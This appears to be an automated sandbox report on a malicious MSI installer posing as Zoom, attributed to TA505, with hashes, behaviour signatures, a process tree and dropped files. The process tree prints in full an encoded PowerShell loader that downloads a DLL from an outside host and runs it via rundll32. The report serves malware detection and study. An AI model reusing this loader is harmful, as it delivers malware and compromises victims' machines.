Analysis

  • max time kernel
    125s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    23-01-2023 18:14

General

  • Target

    Zoom malware.msi

  • Size

    11.0MB

  • MD5

    c4e9e9a06001c6197de2ea2fec3d2214

  • SHA1

    369006350f6b4c43c7f51a90deb5e73a20156b55

  • SHA256

    e4edb4cc8f35c7bab6e89774a279593d492714fce9865e53879f87d3704ad96c

  • SHA512

    00008fd26c3047afbbc73fc19d20700861e9501b1c9509b7abcfd218a814a2b0aa24fa934338942aee809ca53240b539e77f6d91013cae0eee076282e4047156

  • SSDEEP

    196608:6e9dQDU9N3glGcBo/6xDD7yLEY2sNd0nOn1q1eUD9p8b3lWG7uCMkCA:N8g91gGcBD7yLfmz1rGYG6CMi

Score
10/10

Malware Config

Signatures

  • TA505

    Cybercrime group active since 2015, responsible for families like Dridex and Locky.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\Zoom malware.msi"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1728
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Loads dropped DLL
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4653B2C417A7208E5C561C91D951FC24
      2⤵
      • Loads dropped DLL
      PID:1116
    • C:\Windows\Installer\MSI9.tmp
      "C:\Windows\Installer\MSI9.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
      2⤵
      • Executes dropped EXE
      PID:1140
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
    1⤵
    • Blocklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\ProgramData\2c4e6331.dat",DllRegisterServer
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1772
      • C:\Windows\SysWOW64\rundll32.exe
        "C:\Windows\system32\rundll32.exe" "C:\ProgramData\2c4e6331.dat",DllRegisterServer
        3⤵
        • Deletes itself
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Windows\SysWOW64\explorer.exe
          explorer.exe "C:\Users\Admin\AppData\Local\Temp\D950.tmp.bat"
          4⤵
            PID:840
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\system32\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\D950.tmp.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:896
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\ProgramData\2c4e6331.dat",DllRegisterServer
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1052
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe "C:\ProgramData\2c4e6331.dat",DllRegisterServer
            4⤵
            • Loads dropped DLL
            PID:1848

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\2c4e6331.dat

      Filesize

      110KB

      MD5

      2b83cd077d5fb071addb6d852e817932

      SHA1

      9bdad9bad14c8013ceb122d2b7f2bc40989d42e8

      SHA256

      ebe0708ec333de3dfac53e044c24d92eeb5fc0a435404fc1198f9a4efbbb923a

      SHA512

      569edbfcda5e85a4f8204f9301111ba839194d98077cebca878b151989f11c4769dc430168a399d63320d3fb30e50ac6d9c921ac85eb17670a0dd855ecc279bd

    • C:\Users\Admin\AppData\Local\Temp\D950.tmp.bat

      Filesize

      87B

      MD5

      b4e0b9bda3066fa74493092d1ead35b5

      SHA1

      7a85a4b2b843f805c3684b75a2f598f7acaca6cc

      SHA256

      a6ac7ae22b4f7f71482d925d1d62f23cf94a8aa08784f0f546f8fabb8bfa0e29

      SHA512

      70c841c90ef2ecc2a6440846d3df384458d8233ae1f78ab0671c82c9cf6e8fac2bff07cb8532ddd41dd7f052c9bc272601584f634fffa7e0d8d98b302bf47846

    • C:\Windows\Installer\MSI9.tmp

      Filesize

      549KB

      MD5

      6aac525cfcdd6d3978c451bba2bb9cb3

      SHA1

      417a1c4312bdaadf832acf153c423906365fb027

      SHA256

      9dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e

      SHA512

      3c39487dbfdb6ee84cc5eddd5e8e9d1610ffb9fe55913e47f126b47d6fd5bc04b691a9bb765963d998b3db92d87192a4a91807bbe7559bfc4804a7c2beb32f42

    • C:\Windows\Installer\MSIF69F.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • C:\Windows\Installer\MSIF910.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • C:\Windows\Installer\MSIF98E.tmp

      Filesize

      927KB

      MD5

      b27a994e40bee85c14d3227ea91696a9

      SHA1

      609a959b0f47865803e2c45a8bc4390f1d08b57a

      SHA256

      ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190

      SHA512

      66b2cfa6b7c3cf793f478bc69e084e4ea008dab4101eaf8ce3143291d94dbcebedccd29c309d56185261fdbcccd30697cd898bf8ce8e1f9dcdf12fc2037d1542

    • C:\Windows\Installer\MSIFA69.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \ProgramData\2c4e6331.dat

      Filesize

      110KB

      MD5

      2b83cd077d5fb071addb6d852e817932

      SHA1

      9bdad9bad14c8013ceb122d2b7f2bc40989d42e8

      SHA256

      ebe0708ec333de3dfac53e044c24d92eeb5fc0a435404fc1198f9a4efbbb923a

      SHA512

      569edbfcda5e85a4f8204f9301111ba839194d98077cebca878b151989f11c4769dc430168a399d63320d3fb30e50ac6d9c921ac85eb17670a0dd855ecc279bd

    • \ProgramData\2c4e6331.dat

      Filesize

      110KB

      MD5

      2b83cd077d5fb071addb6d852e817932

      SHA1

      9bdad9bad14c8013ceb122d2b7f2bc40989d42e8

      SHA256

      ebe0708ec333de3dfac53e044c24d92eeb5fc0a435404fc1198f9a4efbbb923a

      SHA512

      569edbfcda5e85a4f8204f9301111ba839194d98077cebca878b151989f11c4769dc430168a399d63320d3fb30e50ac6d9c921ac85eb17670a0dd855ecc279bd

    • \Windows\Installer\MSI9.tmp

      Filesize

      549KB

      MD5

      6aac525cfcdd6d3978c451bba2bb9cb3

      SHA1

      417a1c4312bdaadf832acf153c423906365fb027

      SHA256

      9dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e

      SHA512

      3c39487dbfdb6ee84cc5eddd5e8e9d1610ffb9fe55913e47f126b47d6fd5bc04b691a9bb765963d998b3db92d87192a4a91807bbe7559bfc4804a7c2beb32f42

    • \Windows\Installer\MSIF69F.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \Windows\Installer\MSIF910.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \Windows\Installer\MSIF98E.tmp

      Filesize

      927KB

      MD5

      b27a994e40bee85c14d3227ea91696a9

      SHA1

      609a959b0f47865803e2c45a8bc4390f1d08b57a

      SHA256

      ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190

      SHA512

      66b2cfa6b7c3cf793f478bc69e084e4ea008dab4101eaf8ce3143291d94dbcebedccd29c309d56185261fdbcccd30697cd898bf8ce8e1f9dcdf12fc2037d1542

    • \Windows\Installer\MSIFA69.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • memory/796-73-0x0000000002314000-0x0000000002317000-memory.dmp

      Filesize

      12KB

    • memory/796-72-0x000007FEF2890000-0x000007FEF33ED000-memory.dmp

      Filesize

      11.4MB

    • memory/796-74-0x000000001B790000-0x000000001BA8F000-memory.dmp

      Filesize

      3.0MB

    • memory/796-75-0x000000000231B000-0x000000000233A000-memory.dmp

      Filesize

      124KB

    • memory/796-78-0x0000000002314000-0x0000000002317000-memory.dmp

      Filesize

      12KB

    • memory/796-79-0x000000000231B000-0x000000000233A000-memory.dmp

      Filesize

      124KB

    • memory/796-71-0x000007FEF33F0000-0x000007FEF3E13000-memory.dmp

      Filesize

      10.1MB

    • memory/1116-57-0x0000000075DA1000-0x0000000075DA3000-memory.dmp

      Filesize

      8KB

    • memory/1140-69-0x0000000000100000-0x0000000000110000-memory.dmp

      Filesize

      64KB

    • memory/1728-54-0x000007FEFB741000-0x000007FEFB743000-memory.dmp

      Filesize

      8KB